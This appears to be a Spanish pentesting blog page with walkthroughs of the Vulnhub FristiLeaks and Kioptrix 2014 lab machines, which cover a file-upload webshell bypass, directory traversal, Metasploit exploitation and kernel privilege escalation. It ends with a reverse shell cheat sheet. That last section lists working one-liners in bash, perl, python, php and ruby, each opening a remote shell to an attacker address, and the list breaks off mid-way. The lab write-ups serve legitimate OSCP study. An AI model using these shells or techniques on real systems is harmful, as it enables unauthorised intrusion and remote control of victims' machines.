Welcome to FristiLeaks – Walkthrough
Introducción
Siguiendo con la serie de máquinas de Vulnhub que tienen un nivel parecido al laboratorio del OSCP, ahora es el turno de ver cómo se soluciona «FristiLeaks» (https://www.vulnhub.com/entry/fristileaks-13,133/).
En el post anterior «Welcome to kioptrix vm 2014» está explicada la solución de Kioptrix, y también se muestra con más detalle algunas de las prácticas que se utilizan aquí.
Information gathering
Recordamos una de las reglas más importantes a seguir para realizar un pentest: Obtener Información, la información es la clave.
Lo primero es obtener la dirección IP de la máquina objetivo: 192.168.8.140
Una vez ya se sabe la dirección IP el siguiente paso es realizar una enumeración de puertos e identificación de servicios. Es necesario conocer cómo la máquina se comunica con el exterior, ya que estas comunicaciones serán los potenciales vectores de entrada.
1-Se realiza un scan de los 100 puertos más importantes: nmap -T4 -Pn -F –open –reason $Ip
Se han obtenido los siguiente resultados:
a) Puerto 80 con un servicio http
2- Obtener más información de los servicios detectados en el paso 1. El comando es: nmap -T4 -Pn -sV -O -p 80, –open –reason $IP
Se han obtenido los siguiente resultados:
a) Hay un Apache httpd 2.2.15
b) Hay un PHP 5.3.3
c) El sistema operativo es, probablemente, un Linux CentOS 2.6.32-3.10
3- Realizar un scan de todos los puertos. Tal y como se comentó en el post de Kioptrix hay diferentes opciones:
a) Utilizar el script «One-two punch» de superkojiman
b) Escanear todos los puertos TCP con nmap y utilizar el parámetro -A
c) Escanear todos los puertos UDP con la tool «unicorn» o el auxiliary scan UDP de Metasploit
Al finalizar todos los scans, se realiza una recopilación de toda la información obtenida para su análisis y definición de los posibles vectores de ataque y su priorización.
En base al análisis de los resultados , los vectores de ataque definidos son:
1- Puerto 80 abierto con un servicio HTTP (web)
2- Software Apache 2.2.15
3- PHP 5.3.8
4- Sistema operativo Linux CentOS 2.6.32 – 3.10
Análisis de vulnerabilidades
En este punto, la atención se va a centrar en cada uno de los vectores descritos intentando obtener información más específica de cada uno de ellos y así determinar las probabilidades de explotación.
A) Puerto 80 con un servicio HTTP (web)
La batería de pruebas que se ha de realizar siempre a un servicio web es la siguiente:
1- Navegar por la web y el fichero robots.txt
2- Análisis de las cabeceras
3- Análisis del código fuente
4- Enumeración de directorios
5- Nikto
Los resultados son los siguientes:
1- La navegación por la web
curl -i -L -s 192.168.8.140
b) El fichero robots.txt:
El fichero robots.txt muestra que hay 3 recursos a considerar:
a) cola
b) sisi
c) beer
Al ver el nombre de estos directorios, es fácil comprobar que los nombres de «cola» y «beer» son bebidas. ¿Pero sisi? ¿No era una emperatriz? Pues resulta que SiSi es el nombre de una especie de «fanta» originaria de Holanda. Esto nos da una idea que los directorios de la aplicación son nombres de bebidas.
c) Si se utiliza otras opciones de curl es posible obtener algo más de información. En este caso no hay información novedosa.
2- Se utiliza la herramienta gobuster para realizar la enumeración de directorios :
No hay resultados que valgan la pena.
3- Con la tool Nikto tampoco se ha obtenido informacion relevante.
B) Software obsoleto
Los pasos a seguir siempre que se trate de software desactualizado son:
1- Identificación de la versión
2- Búsqueda de vulnerabilidades y exploits
3- Analizar si el exploit aplica o no en el escenario y a los objetivos
En esta ocasión se va a proceder a buscar exploits utilizando Google y searchsploit
a) Apache 2.2.15
El único exploit que se ha encontrado no aplica para conseguir acceso a la máquina.
b) PHP 5.3.3
En este caso se puede observar como hay 2 exploits de denegación de servicio y uno con múltiples vulnerabilidades (18370.txt). Las vulnerabilidades detalladas en este fichero tampoco proporcionan un acceso a la máquina.
Resumen del análisis de los vectores de ataque
Una vez se ha realizado un análisis preliminar de los vectores de ataque, vale la pena valorar toda la información en su conjunto.
1- Hay un servicio web en el puerto 80 y disponemos de los siguientes recursos:
a) index.html
b) sisi
c) cola
d) beer
2- No hay exploits útiles del Apache 2.2.15 que nos permita acceder a la máquina
3- No hay exploits útiles de PHP 5.3.3 que nos permita acceder a la máquina
Por lo tanto, el único vector de ataque «factible» es el servicio http en el puerto 80 y se descartan los vectores 2 y 3.
Explotación del servicio HTTP – Puerto 80
Bien, la primera acción es visitar los recursos encontrados. En los 3 casos (sisi, beer y cola) lo que se encuentra es la siguiente imagen:
Parece que no se ha tenido éxito. Se revisa el código fuente y los metadatos de la imagen y el resultado es el mismo: No hay nada. El siguiente paso es visitar la página principal, y se obtiene el siguiente resultado:
¿Cómo? ¿Otra imagen? De nuevo, se analiza el código fuente, los metadatos de la imagen esperando encontrar algo….pero el resultado es que no hay nada. En este punto, existe la tentación de empezar a dar vueltas y más vueltas y acabar probando cosas altamente improbables. La recomendación en estos casos es simple: parar y analizar.
Se ha de analizar todo lo que ya se ha encontrado, los vectores de ataque, repasar que no se haya descuidado algún detalle. Si se ha sido metódico, este proceso es sencillo. Entonces, ¿qué es lo que sabemos y tenemos?
Tenemos que habían 4 vectores de ataque y sabemos que 3 de ellos no eran posibles. Por lo tanto, si o si, el vector del puerto 80 y concretamente en esa imagen ha de haber algo. Uhmmm «Drink Fristi», antes se ha comentado que el nombre de los directorios eran bebidas. Podría ser una pista, o simplemente una idea feliz chorra.
Gracias a Google se encuentra que Fristi es una bebida de yogur desnatado con frutos rojos original de Holanda. Todo hace indicar que podría ser un directorio «oculto». Se accede a él y si, por fin, hay un login:
Cuando se ve un login las primeras acciones suelen ser comprobar si hay una SQLi o es vulnerable a brute-force (probando el clásico admin/admin). Recordemos, la información es la clave. Es mejor, antes de nada, analizar el código fuente, intentar identificar si es un CMS, comentarios etc…en resumen, «conocer» el asset.
En este caso, en el código fuente se encuentra la siguiente información:
En un comentario hay escrita una pequeña anotación con lo que parece ser el nombre de un usuario: eezeepz.
Además, más abajo, en otro comentario hay lo que parece ser código en base64 (es fácil de identificar por su estructura o utilizando el Decoder de Burp):
Para decodificar este código es posible utilizar varios mecanismos.
a) Desde consola, copiando el código a un fichero y utilizando comandos:
Y la imagen que se obtiene es:
b) Utilizando Burp, la consola de Firefox, modificando en local el archivo .html…
En ambos casos se obtiene la misma imagen. Ya se dispone de un nombre de usuario (eezeepz) y un password (keKkeKKeKKeKkEkkEk). Prego! login exitoso!
En la zona autenticada se encuentra un «file upload». En este caso, la acción a realizar es intenta subir una webshell/reverse shell al servidor y así tener acceso al mismo. Con todos los datos recopilados es automático saber que la webshell ha de estar en código php. En el primer intento de subir un archivo .php, se produce un fallo porque la extensión no es la correcta:
Creación y acceso con una webshell
Hay múltiples opciones de crear una webshell en php. Desde las que ya incorpora Kali, o la php-reverse-shell de pentestmonkey (link) hasta la creación con msfvenom. Para esta ocasión, se muestra la creación de dos shells diferentes:
a) Con Meterpreter:
b) Sin meterpreter, únicamente una reverse shell:
Las 2 opciones son válidas. Hay que detallar que dado que la funcionalidad del «File Upload» indica que la extensión ha de ser de un tipo en concreto, el nombre de las shells creadas finalizan con *.php.png
Con el objetivo de ver más comandos y funciones de Metasploit se ha preferido utilizar la shell simple (opción b, reverse shell sin meterpreter) y mostrar cómo es posible, una vez ejecutada la shell, hacer un update de la misma a meterpreter. En Google es muy fácil encontrar información sobre qué ventajas conlleva esta técnica.
1- Así pues, se procede a subir la reverse shell esperando que únicamente con el truco de indicar una extensión autorizada (.png) sea posible evadir el mini check de seguridad (siempre que se pueda, lo primero a probar son las cosas más simples).
2- Perfecto, el upload ha sido un éxito. El siguiente paso es configurar el handler:
3- Ahora, se ha de acceder al archivo y que se ejecute correctamente:
4- Una vez ya se ha establecido la conexión, se realiza el update a Meterpreter:
5- Ya se dispone de una sesión en Fristileaks. 🙂
Elevación de privilegios
Una vez ya se está dentro del sistema se ha de volver a iniciar todo el proceso de investigación para determinar qué vector de ataque es el más idóneo para alcanzar root. En esta fase es muy importante el orden e ir de menos a más, de lo más simple a lo más complicado.
Information gathering
Una vez dentro del sistema se ha de recopilar el máximo posible de información con el objetivo de poder responder a la mayoría de estas preguntas (siempre priorizando):
1- ¿Qué información sabemos ya?
2- ¿Qué sistema operativo es?
3- Si es obsoleto, ¿Tiene vulnerabilidades conocidas y hay exploits públicos?
4- ¿Quién soy?
5- ¿Qué usuarios hay?
6- ¿Qué se puede encontrar en /home?
7- ¿Se puede ejecutar el comando sudo?¿Cómo está configurado?
8- ¿Hay algún history disponible?
9- ¿Hay algún SetUID o SetGID?
10- ¿Cómo está configurado el PATH?
11- ¿Qué lenguajes están soportados?
12- ¿Qué comandos están permitidos para establecer comunicaciones al exterior?
13- ¿Qué interfaces de red tiene?
14- Si hay una aplicación web con un login ¿Hay algún fichero de configuración/conexión con credenciales a la base de datos?
15- ¿Qué procesos están corriendo en la máquina?¿Alguno como root?
16- ¿Hay algo en el Cron?
17- ¿Hay información útil en los logs de máquina?
18- ¿Qué ficheros/directorios puedo leer/escribir?
Mediante el análisis de las respuestas se podrán empezar a pensar y diseñar los vectores de ataques (ordenados de más simple a más complejos) con más posibilidades para realizar la escalada de privilegios.
En el caso concreto de Fristileaks, se muestra alguna de la información obtenida más relevante:
a) ¿Quién soy? ¿Qué kernel es? (y spawn con python):
– Usuario Apache
– Kernel 2.6.32
b) Sistema operativo: CentOS release 6.7
c) ¿Qué usuarios hay, además de root?
– eezeepz
– admin
– fristigod
– fristi
d) Fichero de conexión a la BD, con credenciales:
Lamentablemente, estas credenciales no funcionan para cambiar de usuario en Fristi.
e) Home de cada user:
admin:
eezeepz:
En el Home de eezeepz hay lo que parece ser un listado de comandos y un fichero «notes.txt«. Interesante
d) Además, analizando el contenido de la carpeta /var se encontró otro fichero «notes.txt»:
Es otro detalle más que hace sospechar que en el homedir del usuario eezeepz pueda haber algo interesante. Además, se obtiene el nombre (jerry) del que podría ser el usuario admin.
Análisis de vulnerabilidades
Las primeras vulnerabilidades que se han de probar son:
1- Comprobar el funcionamiento de sudo, y que el password del usuario no sea trivial.
No funciona
2- Que el usuario «root» no tenga como password…»root»
No funciona
3- Si el sistema operativo está desactualizado, ¿Hay exploit directo de elevación de privilegios?.
Este podría ser una opción: Linux Kernel 2.6.32 < 3.x.x (CentOS) – ‘PERF_EVENTS’ Privilege Escalation (1)
Sin embargo, las referencias continuas al homedir del usuario «eezeepz» se hacen merecedoras de ser estudiadas. Además, si bien esto es un juego, en el mundo real un usuario que codifica su password en base 64….hace pinta de ser un pelín desastre. Seguro que algo interesante hay.
Explotación
El contenido del fichero «notes.txt» del homedir del usuario eezeepz es el siguiente:
Vaya con Jerry….tampoco es un genio no. Visto lo visto, vale la pena seguir por este vector.
Explotación del Runthis
El procedimiento es el siguiente:
1- Conseguir acceder a la homedir del usuario admin
2- Dentro de esta home se hallan ficheros que contienen lo que parecen ser credenciales cifradas así como el script responsable del cifrado:
3- Se busca algo de información sobre la función «codecs.encode» para ver cómo se puede hacer el proceso reversible y obtener los datos en claro:
4- Se realiza un script cutre para proceder al descifrado:
5- Se accede al usuario fristigod con las credenciales obtenidas:
6- Bien, pero el usuario «fristigod» no es lo mismo que root. Tal y como se ha comentado varias veces, de nuevo, la información es esencial. En este punto, es necesario conocer todo lo posible acerca de este usuario, como su «history»:
O la configuración de «sudo»:
Con esta información en la mano, está claro que el usuario «fristigod» realiza acciones con el usuario «fristi» e interaccionando con el fichero «doCOM» . Algo más de información sobre este fichero se puede obtener con el comando «file»:
7- Solo resta por hacer una prueba más y esperar los resultados:
8- Et voilà ! Root y acceso al flag.
Disfrutad de la máquina 😉
Welcome to Kioptrix VM 2014 – Walkthrough
Introducción
Con este post se inicia una pequeña serie de artículos con las soluciones a determinadas máquinas de Vulhub (https://www.vulnhub.com/) cuyo nivel de dificultad es parecido a algunas de las máquinas que hay en el laboratorio de la certificación OSCP (https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/) y que por tanto pueden servir como preparación para la certificación (o refrescar conocimientos). El listado de estas máquinas, ordenado de menor a mayor dificultad, es:
- Kioptrix 2014 https://www.vulnhub.com/entry/kioptrix-2014-5,62/
- FristiLeaks https://www.vulnhub.com/entry/fristileaks-13,133/
- Stapler https://www.vulnhub.com/entry/stapler-1,150/
- VulnOS https://www.vulnhub.com/entry/vulnos-2,147/
- SickOs https://www.vulnhub.com/entry/sickos-12,144/
- Brainpan https://www.vulnhub.com/entry/brainpan-1,51/
- HackLAB Vulnix https://www.vulnhub.com/entry/hacklab-vulnix,48/
- /dev/random scream https://www.vulnhub.com/entry/devrandom-scream,47/
- pWnOS https://www.vulnhub.com/entry/pwnos-20-pre-release,34/
- SkyTower https://www.vulnhub.com/entry/skytower-1,96/
Ahora es turno de ver cómo se resuelve la máquina Kioptrix 2014, y de la metodología que se ha seguido, paso a paso. En el resto de máquinas no se ofrecerá tanto detalle como en esta.
Information gathering
Información, la información es la clave. Enumerar, enumerar y volver a enumerar. Cuanta más información se obtenga del objetivo más fácil será ganar la partida, conseguir llegar a ser root.
Para empezar, obviamente, lo primero es obtener la dirección IP de la máquina objetivo. Esto se consigue mediante el uso del comando «netdiscover -r «:
Una vez ya se sabe la dirección IP el siguiente paso es realizar una enumeración de puertos e identificación de servicios. Es necesario conocer cómo la máquina se comunica con el exterior, ya que estas comunicaciones serán los potenciales vectores de entrada.
Nota: En algunos libros/metodologías he visto como esta «parte» se considera una fase independiente de «information gathering», sin embargo, personalmente yo creo que debe estar incluida dentro.
Para realizar la enumeración de servicios (port scanning) existen diferentes tools y maneras de proceder.En este caso, se va a intentar realizarlo de la manera más eficaz posible y comprobando todos los puertos.
1-Se realiza un scan de los 100 puertos más importantes: nmap -T4 -Pn -F –open –reason $Ip
Se han obtenido los siguiente resultados:
a) Puerto 80 con un servicio http
b) Puerto 8080 con un servicio HTTP-proxy
2- Obtener más información de los servicios detectados en el paso 1. El comando es: nmap -T4 -Pn -sV -O -p 80,8080 –open –reason $IP
Se han obtenido los siguiente resultados:
a) Hay un Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
b) El sistema operativo es, probablemente, un Linux FreeBSD 2.6.18-2.6.22
3- Finalmente, realizar un scan de todos los puertos. Este paso requerirá mucho tiempo, por eso es recomendable realizar otras tareas en paralelo, una buena idea es investigar más en profundidad la información obtenida con anterioridad.
Para realizar el scan a todos los puertos, hay diferentes opciones:
a) Utilizar el script «One-two punch» de superkojiman:
1) echo 192.168.8.139 > ip.txt
2) bash onetwopunch -t ip.txt -p tcp -n -A
3) bash onetwopunch -t ip.txt -p udp -n -A
Nota: Es posible utilizar el parámetro «-p all», para realizar a la vez TCP y UDP pero algunas veces da errores de ejecución.
O bien:
a) Escanear todos los puertos TCP con nmap y utilizar el parámetro -A
b)Escanear todos los puertos UDP con la tool «unicorn» o el auxiliary scan UDP de Metasploit
Una vez se han finalizado todos los scan, se realiza una recopilación de toda la información obtenida para su análisis y definición de los posibles vectores de ataque y su priorización. El procedimiento que se sigue recibe el nombre de «The low hanging fruit» y básicamente consiste en analizar y comprender toda la información que se obtiene para ordenar dichos vectores de ataque de los más sencillos y simples a los más complejos. Además, de esta manera se evita el efecto túnel, es decir, centrarse en un único vector y empeñarse en que ese es el vector definitivo.
Si se me permite el homenaje, este procedimiento recuerda a grandes rasgos al modelo deductivo de Sherlock Holmes, donde a base de recoger indicios y el análisis de las pruebas, se investiga cada con más detalle hasta llegar a la única deducción posible.
«Una vez descartado lo imposible, lo que queda, por improbable que parezca, debe ser la verdad«
Por lo tanto, los vectores de ataque definidos son:
1- Puerto 80 abierto con un servicio HTTP (web)
2- Puerto 8080 abierto con un servicio HTTP
3- Software Apache 2.2.21 ((FreeBSD) mod_ssl/2.2.21, PHP 5.3.8
4- Sistema operativo Linux FreeBSD 2.6.18-2.6.22
Análisis de vulnerabilidades
En este punto, la atención se va a centrar en cada uno de los vectores descritos, (excepto el 4- Sistema operativo dado que aún no se dispone de acceso local) intentando obtener información más específica de cada uno de ellos y así determinar las probabilidades de explotación.
Puerto 80 con un servicio HTTP (web)
La batería de pruebas que se ha de realizar siempre a un servicio web es la siguiente:
1- Navegar por la web y el fichero robots.txt
2- Análisis de las cabeceras
3- Análisis del código fuente
4- Enumeración de directorios
5- Nikto
Denotar que los puntos 4 y 5 son los que pueden requerir más tiempo, así que una buena táctica es lanzar una tool de enumeración de directorios o Nikto y de mientras, realizar los puntos del 1 al 3.
Los resultados son los siguientes:
1- La navegación de la web se aconseja realizarla a través de Burp, o si se prefiere realizar una pasada muy rápida, utilizar curl puede ser una muy buena opción.
curl -i -L -s 192.168.8.139
Mediante las cabeceras obtenidas se confirman de nuevo las versiones de software de Apache, pero en el código fuente se ha detectado un path nuevo:
a) pChart2.1.3/index.php
b) El fichero robots.txt no existe
Si se utiliza otras opciones de curl es posible obtener algo más de información:
2- El éxito de la enumeración de directorios dependerá en gran medida de la lista que se utilice para realizar el fuzzing. Se recomiendan las siguientes:
En este caso utilizaremos la lista common.txt de Dirb.
Las herramientas que se pueden utilizar dependen mucho de los gustos personales de cada uno. Dirb es una de las más famosas, pero últimamente la tool que más estoy utilizando es gobuster.
3- Con la tool Nikto se ha obtenido más información:
Pero especialmente interesante es:
Puerto 8080 con un servicio HTTP
En este caso, al tratarse de un servicio web se repiten los pasos anteriores
1- Análisis de la web
Se obtiene un código 403 Forbidden, no se dispone de permiso de acceso. En este punto, es mejor parar las pruebas en este vector y ver si hay otros más fáciles.
Software Apache 2.2.21 ((FreeBSD) mod_ssl/2.2.21
Este vector está enfocado claramente al uso de software obsoleto. Los pasos a seguir siempre en estos casos son:
1- Identificación de la versión
2- Búsqueda de vulnerabilidades y exploits
3- Analizar si el exploit aplica o no en el escenario
En esta ocasión se va a proceder a buscar exploits utilizando Google y searchsploit
Existe un exploit con el nombre OpenFuck con dos versiones. Y es remoto, podría ser una buena opción.
Resumen del análisis de los vectores de ataque
Una vez se ha realizado un análisis preliminar de los vectores de ataque, vale la pena valorar toda la información en su conjunto.
1- Hay un servicio web en el puerto 80 que indica un path con el nombre pChart
2-Hay un posible exploit, OpenFuck que afecta al Apache instalado
3- Hay un servicio web en el 8080, pero es necesaria algún tipo de autenticación.
Entonces, en base a esto, los vectores de ataque más factibles son sin duda el 1 y el 2. Entre ellos, un exploit remoto puede ser la forma más directa y «fácil» de conseguir el acceso a la máquina, pero antes de darle al botón rojo y ejecutarlo, es recomendable realizar una pequeña leída tanto al código como a la descripción de la vulnerabilidad.
El exploit consiste en la explotación de un buffer overflow, pero el problema ocurre durante la negociación del protocolo SSLv2. Si se repasa con atención toda la información que se ha obtenido es fácil descartar el uso de este exploit, debido a que no aplica en el contexto actual. Ninguno de los puertos activos está utilizando SSL. Por lo tanto, mejor no dedicarle más tiempo a este vector y olvidarlo.
En conclusión, el vector de ataque que merece la pena seguir estudiando es el vector 1.
Explotación de pChart
Tal y como se ha comentado anteriormente, la información es la clave. En este caso, el nombre de pChart con una versión no parece ser algo aleatorio. Google es un gran aliado en estos escenarios.
Realizando una búsqueda en Google con los términos «pChart 2.1.3» el primer enlace ya conduce a exploit-db (https://www.exploit-db.com/exploits/31173/). Perfecto, pero antes de ejecutar ya los posibles exploits es recomendable recolectar algo más de información genérica e identificar el «término». En este caso, pChart (http://www.pchart.net/) es una libreria/framework de PHP para crear gráficos.
Se repiten las mismas pruebas descritas con anterioridad para obtener aún más información.
1- Curl y navegación
2- Enumeración de directorios
3- Nikto
Se ha detectado un fichero ../readme.txt que permite identificar claramente la versión de pChart utilizada
En este punto, como se dispone de la versión exacta de pChart ( y recordando lo encontrado en Google) se utiliza la tool searchsploit:
Y…bingo, hay un directory traversal:
Se comprueba si la explotación es efectiva:
Y se obtiene el fichero /etc/passwd. Por lo tanto, se dispone de acceso a cualquier fichero ( si los permisos son los correctos) del sistema.
Una de las posibles acciones a realizar a partir de aquí sería empezar a descargar cualquier fichero del sistema, pero si se presta atención, anteriormente se ha detectado que hay un servicio en el puerto 8080 al que no se puede acceder por falta de autorización. Sería interesante saber que hay «allí».
Siempre que haya acceso al sistema y hayan servicios activos, una de las primeras acciones a realizar es obtener el fichero de configuración de cada uno de estos servicios.
Considerando que se conoce que el sistema es un FreeBSD y el software es Apache otra simple búsqueda en Google proporciona la ubicación del fichero de configuración que se desea.
La obtención del fichero se realiza de la siguiente manera:
Dentro del fichero de configuración, se encuentra la «autenticación» necesaria para acceder al puerto 8080:
Y con otra búsqueda en Google (una más) se comprende la directiva «Allow from env».
En conclusión, para acceder al puerto 8080 es necesario «autenticarse» utilizando el user-agent de «Mozilla4_browser«. En base a la documentación de Mozilla (https://developer.mozilla.org/es/docs/Web/HTTP/Headers/User-Agent) se trata de algo tan simple como:
Se ejecuta el siguiente comando:
El resultado, tal y como se ve, es que se accede al puerto 8080 y se obtiene otra «pista», en este caso el nombre «phptax»
En este momento, la información útil de la que se dispone es:
1- Puerto 80 con el software pChart 2.1.3 vulnerable a path traversal que permite obtener ficheros del sistema
2- Puerto 8080 con el servicio web autorizado y un nombre «phptax».
3- Con el directory traversal hemos obtenido el listado de usuarios y sabemos que el sistema operativo es FreeBSD release 9.0
La mejor opción es repetir el proceso seguido con pChart pero ahora con phptax.
Explotación de phptax
Nota: Dado que ya se ha visto con anterioridad el proceso de investigación, para que la lectura sea más ágil únicamente se muestra la información más relevante.
A continuación se listan las preguntas básicas que se han de saber responder:
1- ¿Qué es phptax?
PhpTax is free software to do your U.S. income taxes
2-¿Qué información tenemos de phptax?
a) Tool Dirb
b) Versión de phptax
3- ¿Es vulnerable la versión 0.8?
Sí. Mucho. Con exploit-db y Metasploit.
Con toda esta información, ya se puede a proceder a realizar la explotación con Metasploit de la siguiente forma:
Pam, ya se dispone de una shell en la máquina víctima.
Elevación de privilegios
Una vez ya se está dentro del sistema se ha de volver a iniciar todo el proceso de investigación para determinar qué vector de ataque es el más idóneo para alcanzar root. En esta fase es muy importante el orden e ir de menos a más, de lo más simple a lo más complicado, pues es relativamente sencillo empezar a buscar por todo el sistema la manera «mágica» de obtener root y finalmente, acabar instalado en el caos absoluto.
Information gathering
Para realizar el information gathering se utiliza principalmente la guia «Basic Linux Privilege Escalation» de g0tmi1k.(https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/).
Las preguntas esenciales que se han de responder son:
1-¿ Qué información sabemos ya?
Se trata de un FreeBSD 9.0 y tenemos un listado de usuarios. Esta versión es del año 2013. Obsoleta.
2-¿Qué sistema operativo es?
uname -mrs / uname -a
FreeBSD 9.0-Release amd64
3- ¿Quien soy?
id
uid=80(www) gid=80….
4- ¿Qué usuarios hay?
ls /home/
cat /etc/passwd | cut -d: -f1
5- Qué lenguajes están soportados?
find / -name perl*
perl -v
perl 5, version 12
find / -name gcc*
gcc -v
gcc version 4.2.1
find / -name python*
/usr/local/bin/python -v
Python 2.7.2
Esta información servirá de guía para poder escoger mejor que exploit utilizar, ya que es recomendable (siempre que sea posible) compilar el exploit en la misma máquina víctima, pero para eso es necesario que el lenguaje esté instalado.
6- ¿Qué comandos están permitidos para establecer comunicaciones al exterior?
Se utiliza el comando which, ya que realizará la búsqueda en base al PATH del usuario. El comando find también puede ser utilizado.
which nc
/usr/bin/nc
which telnet
/usr/bin/telnet
which wget
No hay respuesta.
which ftp
/usr/bin/ftp
which tftp
/usr/bin/tftp
Por lo tanto, si se ha de realizar cualquier transferencia de archivos entre máquinas, los comandos a utilizar han de ser nc o telnet (entre otros), descartando wget.
Análisis de vulnerabilidades
Las primeras vulnerabilidades que se han de probar son:
1- Comprobar el funcionamiento de sudo, y que el password del usuario no sea trivial.
En este caso, se utiliza sudo -l o sudo -V. La respuesta es «Not found».
2-Si el sistema operativo está desactualizado, ¿Hay exploit de elevación de privilegios?
Muchas veces la búsqueda de exploits de kernel o de sistema operativo para conseguir la elevación de privilegios acaba siendo un infierno, sobretodo si no hay ninguno….o por el contrario, hay muchos. ¿Cuál utilizar?
Bien, el hecho de saber que lenguajes están instalados en la máquina víctima ya ayuda a descartar (o poner en reserva) algunos de los exploits. Y otra buena ayuda es buscar información de esos exploit en Google y probar primero los 3-5 exploits «más populares» considerando el número de referencias. Lamentablemente, esto no es matemático, son solo pequeños trucos para ayudar a priorizar.
Para localizar los exploits que podrían afectar al sistema, hay varias tools:
1- Google
2- searchsploit
3- Tools como Linux Exploit Suggester (https://github.com/PenturaLabs/Linux_Exploit_Suggester)
4- Webs
En este caso, se han obtenido dos exploits:
a) FreeBSD 9.0< 9.1 mmap/ptrace (con 556 resultados en Google)
b) FreeBSD 9.0 – Intel SYSRET Kernel privilege ( con aproximadamente 6420 resultados en Google)
Los dos exploits están escritos en «c» por lo que pueden ser compilados en la máquina víctima. Pero si se ha de priorizar, mejor empezar a probar el FreeBSD 9.0 Intel SYSRET.
Es importante, antes de ejecutar cualquier código, primero leer y comprender a nivel general que hace y que requiere. Muchas veces el exploit correcto no funcionará debido a que hay alguna trampa en el código, o simplemente se hayan de modificar pequeños detalles, como un path, un nombre etc..
Explotación
Recapitulando, aquí está la lista de toda la información básica disponible sobre el sistema víctima y posibilidades de ataque:
1- Es un sistema FreeBSD 9.0, 64 bits, y obsoleto
2- El atacante es el usuario www, sin privilegios
3- No parece que haya usuarios activos (no hay nada en /home) aparte de root
4- Dispone de varios lenguajes de programación instalados, entre ellos, gcc
5-Las comunicaciones con el exterior, se han de realizar con netcat, telnet o ftp
6- Hay dos exploits candidatos
Por lo tanto, está claro que «la fruta más madura» o el vector más propicio, es probar el exploit Intel Sysret, y si no funciona, probar el segundo
Explotación con Intel SYSRET
El procedimiento es el siguiente:
1- Transmisión desde la máquina atacante a la víctima. En esta máquina, hay que tener cuidado con el sentido de la conexión con el comando nc.
a) cp /usr/share/exploitdb/platforms/freebsd/local/28718.c /tmp/kioptrix_priv_intento1.c
b) En la máquina atacante
c) En la máquina víctima
2- Compilación del exploit
3- Ejecución
Et voilà ! Root.
En el caso que no hubiera funcionado este exploit, el procedimiento hubiera sido el siguiente:
1- Probar el segundo exploit
2- Realizar otra vez la fase de information gathering con más detalle, buscando por ejemplo ficheros suid, problemas en el path, revisar los logs de acceso…
3- Definición de nuevos vectores de ataque
4- Si se sigue sin conseguir root, realizar otra vez el paso 2, elevando la intensidad, por ejemplo, procesos que se estén ejecutando, revisar el cron, software instalado etc
La idea es ir de lo más simple a lo más complejo, pero sin olvidar que hay que analizar todo en su conjunto evitando la mirada túnel, porque a lo mejor la solución está en encadenar varias vulnerabilidades.
Disfrutad de la máquina 😉
Simple Reverse Shell Cheat Sheet
El objetivo de este post es facilitar un pequeño listado de algunas maneras fáciles y simples de implementar una reverse shell, algo que tarde o temprano siempre se utiliza en un pentest.
Una reverse shell consiste en crear una conexión remota desde la máquina víctima hacia la máquina atacante, por ejemplo desde una máquina ubicada en una red interna hacia la máquina atacante en Internet, siendo una técnica muy útil para realizar la evasión de un firewall que bloquee las conexiones entrantes a la red interna pero no las conexiones salientes desde la red interna hacia el exterior.
La manera más simple de conseguir una reverse shell es ejecutar un simple netcat «nc -e», sin embargo, según qué versión de nc haya instalada hay opciones que pueden no funcionar igual, en este caso, el parámetro «-e». Por ejemplo, en Kali funciona pero no así en Ubuntu. Para saber qué versión está instalada de «nc» ejecutar «nc -h».
Para practicar con las reverse shells, en el cliente (máquina atacante, que recibirá la reverse shell) ejecutar el comando «nc -nlvp 8080» para crear una conexión «escuchando» y en el servidor (máquina victima, ordenador que enviará la shell hacia la máquina atacante) ejecutar la reverse shell específica que se desee probar.
En todos los casos, se ha de substituir la dirección IP «192.168.1.49» y el puerto 8080 por la dirección IP y el puerto de la máquina atacante.
Bash Reverse Shell
Mediante el uso de /dev/tcp
- /bin/bash -i > /dev/tcp/192.168.1.49/8080 0<&1 2>&1
Mediante el uso named pipes
- rm /tmp/blackpipe;mkfifo /tmp/blackpipe;cat /tmp/blackpipe|/bin/sh -i 2>&1|nc 192.168.1.49 8080 >/tmp/blackpipe
- rm /tmp/blackpipe;mknod /tmp/blackpipe p && nc 192.168.1.49 8080 0</tmp/blackpipe |/bin/bash 1>/tmp/blackpipe
Mediante telnet
- rm /tmp/blackpipe;mknod /tmp/blackpipe p && telnet 192.168.1.49 8080 0</tmp/blackpipe |/bin/bash 1>/tmp/blackpipe
Mediante el uso de descriptores
- 0<&196;exec 196<>/dev/tcp/192.168.1.49/8080; sh <&196 >&196 2>&196
- exec 5<>/dev/tcp/192.168.1.49/8080 cat
<&5 | while read line; do $line 2>&5 >&5; done
o bien:
cat <&5 | while read line; do $line 2>&5 >&5;
Perl Reverse Shell
- perl -e ‘use Socket;$i=»192.168.1.49″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’
- perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,»192.168.1.49:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
Y si el sistema objetivo es Windows:
- perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,»192.168.1.49:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
Python Reverse Shell
- python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«192.168.1.49»,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’
Php Reverse Shell
- php -r ‘$sock=fsockopen(«192.168.1.49»,8080);exec(«/bin/sh -i <&3 >&3 2>&3»);’
Ruby Reverse Shell
- ruby -rsocket -e’f=TCPSocket.open(«10.0.0.1»,1234).to_i;exec sprintf(«/bin/sh -i <&%d >&%d 2>&%d»,f,f,f)’
- ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(«192.168.1.49″,»8080″);while(cmd=c.gets);IO.popen(cmd,»r»){|io|c.print io.read}end’
Y si el sistema objetivo es Windows:
